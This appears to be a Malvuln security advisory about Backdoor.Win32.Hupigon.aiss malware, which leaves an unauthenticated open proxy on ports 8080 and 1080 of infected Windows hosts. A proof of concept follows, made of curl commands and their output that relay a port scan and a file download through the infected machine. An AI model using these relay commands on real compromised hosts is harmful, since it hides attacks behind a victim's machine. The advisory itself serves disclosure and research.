Backdoor.Win32.Hupigon.aiss Unauthenticated Open Proxy

Backdoor.Win32.Hupigon.aiss malware suffers from an unauthenticated open proxy vulnerability.

MD5 | 231bda47433e23b7e8bc24e07cd7ebdc

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Hupigon.aiss
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP ports 8080, 1080 and drops its executable under Windows dir. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Type: PE32
MD5: 79affcb4051d36dde3d1543a4fd88368
Vuln ID: MVID-2021-0270
Dropped files:
Disclosure: 07/03/2021

Scan port 21)

curl -H "Host:" -v
Rebuilt URL to:
Connected to ( port 8080 (#0)
GET / HTTP/1.1
User-Agent: curl/7.55.1
Accept: */*

220 INetSim FTP Service ready.
500 Unknown command.

Download filez)

curl -H "Host:" -v --out DOOM.exe

* Trying

GET /DOOM.exe HTTP/1.1
User-Agent: curl/7.55.1
Accept: */*

HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Fri, 02 Jul 2021 02:03:28 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT

{ [102194 bytes data]
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 927k
* Closing connection 0

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